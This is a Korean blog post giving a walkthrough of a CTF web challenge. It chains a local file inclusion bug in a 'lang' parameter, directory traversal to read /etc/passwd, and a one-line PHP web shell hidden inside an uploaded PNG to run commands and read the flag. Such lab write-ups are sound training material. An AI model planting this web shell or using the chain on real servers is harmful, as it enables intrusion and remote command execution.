본문 바로가기

해킹/해킹 기법

Web Shell CTF #3 풀이

이번에는 WebShell #3 문제를 풀어보겠습니다.

 

링크의 lfi_1라는 텍스트를 보니 LFI 취약점을 이용하는 문제인 것 같습니다.

 

flag.txt 의 파일 내용을 읽어내야 하는 문제입니다.

 

회원가입을 진행해주고 로그인을 합니다.

기존의 문제랑 달리 배치가 모양새를 띄고 있네요 ㅋㅋ

 

인사말 페이지에 취약한 파라미터가 있을 확률이 높을 것 같습니다.

 

 

게시판에 들어가 제목과 간단한 내용을 작성하고 간단한 이미지 파일을 업로드해서 패킷을 어떻게 주고받는지 살펴보겠습니다.

 

Intercept 를 on 해줍니다.

 

대략 이런 패킷들이 주고받아지고 있습니다.

 

이상한 건 intercept 를 on 하고 Download를 눌렀는데도 다운로드가 받아졌다는 것입니다.

 

그래서 파일의 저장 위치를 알아내기 위해 개발자 도구를 들어가 Download 버튼을 누르면 어디에 저장되는지 파악했습니다. 현재 폴더기준 ./files/bokyu/파일 이름.확장자 형태로 저장되고 있네요

 

패킷을 분석해보니 정확한 파일 위치를 불러오고 있는 걸 보아 굳이 개발자 도구로 확인은 안 해도 되었던 것 같습니다.

 

 

 

해당 패킷을 잡아 Repeater로 보내줍니다.

 

 

인사말 페이지를 들어가니 greet.php 페이지가 나오면서 이런 창이 뜹니다.

 

Burp Suite로 한번 살펴보겠습니다.


 

Burp Suite로 파라미터를 보니 lang 파라미터로 sp.php를 받고 있습니다.

include를 이용해서 sp.php 파일을 끌어다 쓰고 있는 것 같습니다.

이곳이 LFI 취약점 의심점인 것 같습니다.

 

원래 파일도 sp.php로 받고있었으므로 include 구문의 끝이 / 로 끝나는 것 같습니다.

따라서 ../ 으로 시작하는 etc/passwd를 호출해줍니다.

../ 여섯쌍과 etc/passwd를 입력하니 호출에 성공했습니다.

혹시나 싶어 갯수를 줄여가며 테스트하니 ../ 3쌍까지 호출이 되었습니다. 왜지..?

 

아무 GET 방식으로 보내는 패킷을 Repeater로 보내서 한 줄 웹 쉘을 적어줍니다.

당연히 400에러가 뜨면서 아무 효력도 없을 겁니다. 하지만 이 오류 패킷은 log로 남게 됩니다.

 

 

 

.... 에러 로그를 이용하려 했지만 대 실패

 

하는 수 없이

 

Intercept is ON!!

 

 

그래서 png 파일을 업로드할 때 intercept로 패킷을 잡고 PNG 파일 시그니쳐 밑에 한 줄 웹 쉘 코드를 입력했습니다.

 

<?php echo system($_GET['cmd']); ?>

이젠 몇번 보다보니 웹 쉘 코드가 너무 익숙합니다.

 

 

그러고 Forward를 눌러주면 글 작성에 성공했다는 alert가 뜹니다.

 

Repeater로 greet.php를 보내고 (이 파라미터가 LFI 취약점이므로) 아까 봐두었던 파일 저장 위치를 호출하고

cmd=ls 로 POC코드 테스트를 해봅니다.

 

LFI 취약점을 이용하면 png 파일에 php 코드를 써넣었더라도 서버 측에서 php가 include되며 실행시킬 수 있습니다.

 

결과를 보니 성공적입니다.

서버의 greet.php가 저장된 위치에 있는 php 파일들이 리스트화되서 보여지고 있습니다.

 

스크롤을 내리니 greet.php가 있는 lfi_1 디렉토리에 topSecret 디렉토리가 있네요

 

이제 거의 다 됐습니다

이제 cat 명령어를 주고 저 topSecret 폴더에 포함된 txt 파일을 읽으면 됩니다.

 

주의할 점은 BurpSuite 상에서 GET 방식의 파라미터를 호출할 때는 띄어쓰기를 인코딩된 형태인 %20으로 줘야 합니다.

 

그렇게 파일만 읽어서 파일 안의 flag만 따오면 끝!